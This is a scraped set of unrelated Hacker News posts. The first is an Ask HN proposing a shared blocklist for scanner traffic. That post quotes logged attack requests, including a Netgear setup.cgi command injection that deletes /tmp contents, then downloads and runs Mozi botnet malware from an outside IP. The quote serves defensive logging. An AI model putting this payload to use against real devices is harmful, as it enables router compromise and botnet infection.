jkeisling/hacker-news-corpus-2007-2022 huggingface dataset:
Ask HN: Can we collaborate on a IP Address or Regex blacklist?
Hear me out.

I've recently started logging pings to my services, A LOT of servers ping me constantly checking for things like '.env' and other known vulnerabilities. I currently have a JSON dataset of about 10K entries. It looks like this.

{
"offense": "boaform/admin/formLogin?username=ec8&psd=ec8",
"ipAddress": "125.47.68.164"
},

{
"offense": ".env",
"ipAddress": "52.224.55.198"
},

{
"offense": "setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://115.58.115.18:53153/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1",
"ipAddress": "115.58.115.18"
}

Maybe we don't filter by ip address, and instead filter requests based on known strings (or regex). That's what i'm currently doing. Ex. If request includes '.env'. Blocked!

I'd love to implement a more aggressive strategy. Rather than a reactive one. I'm currently finding myself going through server logs, and adding new 'keywords' to the 'banned list'.

Like a 'ad blocklist' we can use as middleware in our HTTP applications.

If something exists already, kindly point me to a Github.
Ask HN: learning web programming vs. tablet programming
I am 36 year old with a very well paid and well progressing business career and I am bored to death. The idea of going to the office 9-7 for the next 30 years kills me. And I really believe I have a great corporate job so I now that the issue is having a corporate job.

So I am learning to program, a bit for fun a bit to see if I can start something of my own. The original plan was to learn web programming since I imagined web applications were both fun to develop and the best shot at a start-up. I took up Python and developed a simple file sharing application on Google App Engine (you can see it at myfilesinthesky.com but you don't lose anything if you don't).

Well, thinking about the interface and implementing the programming logic was actually fun. And it took 10% of the time. The other 90% was spent fighting with browsers' quirkiness and with Google App Engine (if I skipped GAE I would have fought with sys admin so not better I suppose). And that was teeth-cringing.

So I am not really sure web programming is that fun after all and the next step would be now to learn javascript to start doing browser-side wizardry which from what I'm reading around looks like as teeth cringing as it gets (ok, cobol programming is worse, I am sure).

And then I read Paul Graham's essays on tablets - paulgraham.com/tablets.html - and I am thinking now that ipad programming can be still promising business wise but much more fun since you have full control of the device and building native apps. No more need to get crazy with browser UI and sys admin stuff!

Before I spend the w.e. of the next six months learning C, obj-C and Cocoa, let me ask you, what would you advise to an aspiring programmer, learn web programming or dive into tablet programming?
Show HN: Ask our algorithm and real financial expert anything about your money
https://app.uprise.us/ask-us-anything
It’s pretty simple: ask us absolutely anything about your finances (it’s okay to be really specific to your situation!) and our algorithm backed by a Certified Financial Planner will give you a hyper-personalized spot-on answer, for free.

Go ahead and stump us! Let’s really kick the tires on this thing :)

Up until now, we've been doing comprehensive financial advising for free. Our most popular feature is the ability to just ask us anything so we figured why not make that feature available for everyone? Also for free :)

Some more context: Uprise’s mission is to make wealth management/financial optimization as accessible as possible (ie, free) and we think the key is to have an amazing algorithm and database of financial rules/products but backed by a real financial expert to make sure the recommendations are good and to refine the algorithm.

If you love it please feel free to share with anyone you know that could use some advice on their finances! We’re happy to help as many people as we can.

Some example questions people have had:

- What should I change about my finances once my student loans are forgiven?

- How do I adjust my finances to deal with inflation or recession?

- Which credit card should I open next?

- I work at Tesla - can you look at my benefits and make sure I’m taking full advantage?

Feel free to send feedback/questions here! chris@uprise.us

Thanks for looking at this!
Ask HN: How do you balance college and a startup?
I'm a junior enrolled in an engineering college studying Electrical Engineering (EE) and Computer Science (CS). For anybody out there that's taking a full course-load but also involved in startups, how do you manage? What's your light at the end of the tunnel?
Ask HN: How do you come up with new project ideas?
I mostly target web-related projects. But, with any project, how do you all come up with ideas for them?

Back when I mostly did desktop applications, I would write applications for simple things that I enjoyed - countless IRC clients, IM clients, etc. With my web projects I find it harder to do that because I always apply to "could this potentially become popular" or "this has been done before" mentalities to them. So, as a result I just find myself scouring the internet every day, reading as many blogs and staying as up to date on bleeding edge things as I can. I keep my eyes peeled for potential statements made in blogs or on websites that might make me think something could be a great idea. I feel like I do this because when I end up making things that solely benefit me, I just end up making countless pastebins or blogs or IRC channel loggers.

So, how do you all decide what your next project will be? Do you do what I do and read the entire internet looking for a sign? Do you just make things you truly enjoy and hope maybe one day if it gets exposure it can gain traction and grow?
Yahoo Starts Scanning Emails
https://www.jottit.com/7a9fv/
https://www.jottit.com/7a9fv/
Ask HN: Review my jQuery Plugin (jQSlickWrap)
http://jwf.us/projects/jQSlickWrap
Over the course of the past week I designed and wrote a plugin for jQuery which provides a client-side implementation of the "Sandbag" approach to getting text/content to wrap around the actual contents of a floated image (as opposed to the typical bounding box you are usually stuck with).
A Conversation With Julian Assange, Slavoj Zizek & Amy Goodman (Live)
http://www.livestream.com/democracynow
Ok, it's over - here is whole conversation: http://www.livestream.com/democracynow/video?clipId=pla_b539748a-c5e0-4525-b3ca-570594482d97&utm_source=lslibrary&utm_medium=ui-thumb
Aaron Swartz's Jottit has been officially released
http://jottit.com/
"Hi there. Sorry to bother you, but you asked me
to send you an email when Jottit was out for you
to take a look at. Well, after a lot of hard work
by my creators, Simon Carstensen and Aaron Swartz,
I'm happy to say that things are finally ready.

Take a look at

http://jottit.com/

and let me know what you think. (Just reply to
this email!)

Thanks so much,
- Jottit.com"
Phusion Passenger Enterprise released
http://blog.phusion.nl/2012/08/01/phusion-passenger-enterprise-released/
Or go directly to https://www.phusionpassenger.com ! Excited to hear what you guys think about it.
Free Trip to Boulder, Colorado For Developers
http://www.boulder.me
The Boulder tech scene is growing like crazy. Twenty of our top tech startups (you can see a few in the sidebar) have banded together to fly in one hundred top software developers, programmers and engineers from across the country, all expenses paid. You can apply to be one of the hundred at the boulder.me site.

Also covered here: http://www.techcrunch.com/2008/09/24/twenty-startups-pool-resources-to-recruit-developers/
Hacker News Chrome Extension
https://chrome.google.com/extensions/detail/geancnifhbkbjijfkcjjdnfemppmcjmk
I just finished up a simple Hacker News extension for Google Chrome. It allows you to view the front-page stories as well as submit your current tab. Let me know what you think and I'd like to hear your ideas for future updates.

The source code can be found here: http://github.com/adamalbrecht/hacker-news-for-chrome
Zonino – A project to automatically find every job at a startup in London
http://zonino.co.uk/
We built a system that scrapes the websites of a bunch of London startups and aggregates their jobs. None of that recruiter nonsense.
Want to learn to code? Don't copy and paste, type out other people's code
http://www.shockoe.com/blog/typingcodeout/
For now, the original link is down, so check this out here http://tommy.authpad.com/don-t-copy-and-paste-other-people-s-code-write-it-out
Mint won't give a clear answer about Heartbleed
https://satisfaction.mint.com/mint/topics/a_definitve_answer_on_whether_mint_was_ever_affected_by_heartbleed
https://satisfaction.mint.com/mint/topics/is_mint_com_secured_and_recovered_from_the_heartbleed_bug
London Startup Map
http://roundabout.io/
Inspired by http://mappedinny.com/ (and the recent siliconvalley one) here's a London version.
It was built as an excuse to learn about Backbone.js and play with MapBox API.

Source code available here: https://github.com/rosario/digitalmap.
Streamparse: Pythonic processing of real-time data streams using Apache Storm
https://github.com/Parsely/streamparse
Launch announcement: http://www.pixelmonkey.org/2014/05/04/streamparse?utm_medium=referral&utm_source=news.ycombinator.com
Show HN: An opinionated and statically-typed TypeScript SDK generator
https://easysdk.xyz/
Hi Hacker News!

My name is Sagar, I’m working on a startup called Speakeasy - we’re making all APIs self-service. The platform is currently in beta, but we’re independently launching this tool which you can use to generate language-idiomatic, statically-typed TS SDKs from any public OpenAPI schemas. We hope to continue iterating on this to give devs a way to easily generate high fidelity client SDKs for all the major languages.

Inspiration for this product is from past experiences struggling with OpenAPI. I was originally optimistic about using the OpenAPI tools to build out our offering, but quickly realized that the tools left a lot to be desired, and would not have provided our end users with the developer experience we wanted. While it’s not exhaustive, we’ve tried to address some of the biggest gaps in this tool:

* Low-dependency - To try and keep the SDK isomorphic (i.e. available both for Browsers and Node.JS servers), we wrap axios, but that’s it.This is intended to be idiomatic typescript; very similar to code a human would write; with the caveat that the typing is only as strict as the OpenAPI specification.

* Code just like a human would write - At this point static typing is everywhere. So wherever possible, we generate typed structures, construct path variables automatically, pass through query parameters, and expose strictly typed input / output body types.

* Future direction - There’s value in being neutral, but we felt like there is more value in being opinionated. In the future we’ll add features like built-in Pagination, Retries (Backoff/Jitter etc), Auth integrations, which should be handled in the SDK.

We’re planning to continue improving this service, so would love to hear what you think of the choices we’ve made, the issues we should address next, and what languages we should work on supporting.
hr for your terminal
https://github.com/LuRsT/hr
Tired of not finding things in your terminal because there's a lot of logs and garbage? Tired of destroying the Enter key by creating a "void zone" in your terminal so that you can see the error that you're trying to debug?

Use the old <hr /> tag, but in your terminal
Ask HN: How can I stop being jealous of people who succeed before me?
Hi Hacker News,

I am a tech entrepreneur. I've dedicated my life to technology and building products that can help people. I'm relatively smart and really hardworking. My success thus far has been modest, though I have been able to raise funding from a prestigious VC firm. My standards are high so I do not consider fundraising any kind of success. I also detest self promotion and so I have not announced the fundraise. My startup feels like it has just recently found product market fit but I'm not sure. Either way I will go for it. The problem is everytime i try to hone in on myself and focus on my goals I hear about someone I know or someone "like me" (i.e. they have similar attributes, aren't friends but are in my peer group, and are working on a similar idea or an idea i've had in the past) whose raised a bunch of money and is all over the press and in some cases has achieved real success. I have this negative feeling for hours, days sometimes that I can only assume is jealousy. Perhaps because I am competitive. Perhaps because in addition to wanting to build products and help people, I am human and I want to be the "first" or the "best" in my peer group. I don't like feeling this feeling though because I know that I genuinely wish this people well and that if i myself were successful I wouldn't feel this way...or maybe I would? I'd love your help and advice on how I can do away with this feeling and focus on being a world class entrepreneur. I am not OK with being OK with failure and I do not accept being mediocre, but there has to be a way of being competitive in a healthy way without having to unfollow every stream of social media from peers that succeed and without having to feel envious of others. Sorry for the long rant but I'd really like to turn the leaf in the new year and I appreciate your help!
Sketchfab: 3D Portfolio website
http://sketchfab.me
And an example: http://karolmiklas.sketchfab.me
Chibi-Scheme
http://code.google.com/p/chibi-scheme/
Chibi-Scheme is a very small library intended for use as an extension and scripting language in C programs. In addition to support for lightweight VM-based threads, each VM itself runs in an isolated heap allowing multiple VMs to run simultaneously in different OS threads. The default language is R7RS Scheme, including first-class continuations and low-and-high-level hygienic macros.
Ask HN: Please explain short selling?
So I just wrote a stock prediction system... I understand just enough about the market to be dangerous. One thing I simply cannot wrap me head around is selling short. Who are the stocks borrowed from? Are the people lending the shares actually hoping for the stocks success?
Show HN: Google Glass + Tesla Model S = GlassTesla
http://glasstesla.com
In case you didn't guess, it this app lets Tesla Model S owners interact with their vehicle with Google Glass.

Here's what it can do:

- View vehicle charging status. Start or stop charging via Glass. You can even open the charge port without having to get back into your car.

- Locate your Model S on a map and get directions to it. You can even honk the horns or flash the headlights if you still can't spot it.

- See whether the doors, trunks, or sunroof is open/closed. Of course, you can lock or unlock your car remotely and even control the sunroof too.

- You can view the car's interior and exterior temperatures. With a single tap, you can enable "auto climate" to either cool or heat your vehicle to an optimal temperature remotely.

What do you guys think?
LSE Halts
http://www.londonstockexchange.com/exchange/news/sharecast/news-detail.html?newsId=4072679
http://online.wsj.com/article/SB10001424052748704150604576165753761876730.html?mod=googlenews_wsj
Sparkey – Key/value storage by Spotify
https://github.com/spotify/sparkey
Sparkey is a simple constant key/value storage library. It is mostly suited for read heavy systems with infrequent large bulk inserts.
Ask HN: Any high frequency trading hackers
What are the current challenges in high frequency trading?

Can anyone suggest me few tasks [like implement foo algorithm], so that I can directly jump into those tasks during my free time
ASK HN: What methods do you use to gain early customers for your startup?
There are many ways that new tech startups can try to acquire early adopters AKA early customers for their product.

Drew Houston, co-founder and CEO of Dropbox, tells about their original strategies, and their path through the customer development jungle. (http://www.justin.tv/startuplessonslearned/b/262672510)

You as a new startup, whether you're a founder, hustler, hacker, or even early adopter:

How have you been able to gain visibility to early adopters, get them to evangelize for you, and ultimately convert them to early customers?
Show HN: Tilepieces – An open source project for visually editing HTML documents
https://tilepieces.net
Hi all,
My name is Simone Di Nuovo and i'm the creator of tilepieces, an open source project to visually editing HTML documents and Web applications.

Tilepieces is a software that allows you to create applications for editing HTML documents, using some of the popular interfaces of the browser developer tools (with which it is possible to integrate css edits).

Tilepieces also allows you to reuse your favorite code and libraries, and exposes APIs that are useful for editing multiple files at a time.
You can start using tilepieces with its progressive web application version at https://pwa.tilepieces.net!

I will be happy to receive any comments from you.
Peter Thiel on "Founder as Victim, Founder as God"
http://blakemasters.tumblr.com/post/24578683805/peter-thiels-cs183-startup-class-18-notes-essay
Class 18 of Stanford CS183:Startup
Ask HN: How do I become smarter?
my situation:

I'm 19 years old and I go to a not so great (according to Macleans university rankings) university in Canada. I would like to make a transfer to Waterloo and then go to graduate school at Stanford or MIT. These are just some of the goals that I'd like to achieve in my academic career. I would just like to prove to myself that I have what it takes and I would like to be in that academic environment (Sorry if I worded it poorly).

At the moment I know I definitely am not trying as hard as I should..I don't remember the last time I engaged myself with hard problems or where to start. I've been feeling pretty lost in what I've wanted to do with my life so I just decided to follow Paul Grahams advice and just go with what gives me the most options (http://paulgraham.com/hs.html).

When it comes to learning new things or building off old concepts, I feel like I have a poor foundation and I just don't know where to start. How can build a great foundation where I can understand the concepts intuitively?

In short, how can I become smarter?
Interactive course about “everyday” data science
https://tigyog.app/d/C-I1weB9CpTH/r/everyday-data-science
Last year, I wrote the book Everyday Data Science. It was #1 on HN! [1]

This year, I've been working with Jim Fisher on a new kind of interactive course. It's like a choose-your-own-adventure, except you'll learn Thompson sampling, differential equations, and Bayesian-optimal pricing.

After several months, the first two chapters are ready! Every word, button, and sound has been painstakingly crafted. Try out the first chapter to see what we mean! [2]

The course will be $99, but it’s $29 today, as a thanks for helping us build the next 8 chapters! Let us know what you think :-)

- Andrew Carr [3]

[1]: https://news.ycombinator.com/item?id=26253281
[2]: https://tigyog.app/d/L:X07z8laLyz/r/when-life-gives-you-lemo...
[3]: https://twitter.com/andrew_n_carr
The downfall of Quora (2013)
http://thegoodones.quora.com/Interesting-read
This is the email circulating the Valley. The high profile venture capitalist's name has been redacted along with that of the recipient.

February 1, 2013

[name redacted],

Since you asked what I think about Quora and its latest pivot, here's my answer. It's probably far more than you expected but bear with me. From its early days the big question about this site has been "can an almost unlimited supply of SiliconValley cash and hype turn a mediocre idea into a success?"
Show HN: I built an app for when I talk too much in online meetings
http://unblah.me/
Hey HN!

Alexis here, I’m a product manager and software developer in Berlin by way of New York.

I want to show you this app I made – It’s like a "buddy" for those, like myself, who inadvertedly talk too much in meetings.

The app gives me feedback and a little more in control of what I have influence over by:

* Keeping track of how long I’ve been speaking

* Catching myself before I talk too much

* Developing a better sense of timing

I truly love having conversations with people in real-life.

But online meetings, especially group calls, tend to make me nervous. I can't read body language. The tone of voice, micro-experessions and social cues get lost.

If you, too, accidentally talk too much too often, check it out "Unblah". Watch the quick 2-minute demo and download the macOS app over at https://unblah.me/.

Cheers!

Alexis

PS: There’s a whole FAQ section for common questions you may have – Including if this is yet another "native" Electron app ;)

edit: bullet-list formatting
Java 8 Features
http://www.infoq.com/articles/Java-8-Quiet-Features?utm_source=hackernews&utm_medium=link&utm_campaign=8java_article
If you haven’t seen some of the videos or tutorials around Java 8, you’ve probably been super-busy or have a more interesting social life than I do (which isn’t saying much). With new features like lambda expressions and Project Nashorn taking so much of the spotlight, I wanted to focus on some new APIs that have been a bit under the radar, but make Java 8 better in so many ways.
Show HN: RankedVote – SurveyMonkey but focused on ranked-choice voting
https://www.rankedvote.co
RankedVote is a web app that allows you to run online contests and make decisions using ranked-choice voting (RCV). RCV is an electoral system used in Maine, Alaska, New York City and dozens of cities across the United States.

RankedVote’s goal is to build support for RCV by giving people an easy way to run contests and make decisions online.
Google Begins Testing Its Augmented Reality Glasses
http://bits.blogs.nytimes.com/2012/04/04/google-begins-testing-its-augmented-reality-glasses/
On Wednesday, Google gave people 20/20 vision about a secret augmented-reality project called Project Glass. The glasses are the company’s first foray into wearable computing.
GoDaddy's New "Selective DNS Blackouts" Policy
http://rscott.org/dns/GoDaddy_Selective_DNS_Blackouts.htm
And a response from GoDaddy:

http://rscott.org/dns/GoDaddy_Selective_DNS_Blackouts_Update.htm
New gaming forum
http://www.fpsmedia.clanteam.com/forum
Happiness from jumping off the corporate ladder
http://blog.inklingmarkets.com/2010/04/happiness-from-jumping-off-corporate.html
How to Bypass Hotspot Logins on a Mac
http://blog.bluehats.mx/how-to-bypass-hotspot-logins/
New Apple Ipod Nano released
http://store.apple.com/us/browse/home/shop_ipod/family/ipod_nano
OWC’s Mercury Accelsior SSD: Blistering Fast
http://www.macobserver.com/tmo/review/owcs_mercury_accelsior_ssd_blistering_fast/
Is it possible for an idea to be funded by a VC
http://www.quora.com/Venture-Capital/Is-it-possible-for-an-idea-to-be-funded-by-a-VC
Spam Trapping    
http://www.sanjayparekh.com/spam-trapping/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+sanjay+%28%28Sanjay_Parekh%29+%3D%3D+%28Rambling%29%29
Silero V3: fast high-quality text-to-speech in 20 languages with 173 voices
https://github.com/snakers4/silero-models
UUIDs are popular, but bad for performance (2019)
https://www.percona.com/blog/2019/11/22/uuids-are-popular-but-bad-for-performance-lets-discuss/
How I use Anki to learn mathematics
http://lesswrong.com/r/discussion/lw/o8e/how_i_use_anki_to_learn_mathematics/
Lua 5.4.0
https://www.lua.org/manual/5.4/readme.html#changes
Retiring Tucows Downloads
https://tucows.com/retired/
Archive Team – AOL
http://archiveteam.org/index.php?title=AOL
Apple’s Internet share registered strong gains in December
http://apple20.blogs.fortune.cnn.com/2009/01/01/apples-internet-share-registered-strong-gains-in-dec/
Factor.io wants to be a sous chef, handling prep work for developers
http://gigaom.com/2013/06/05/factor-io-wants-to-be-a-sous-chef-handling-prep-work-for-develoeprs/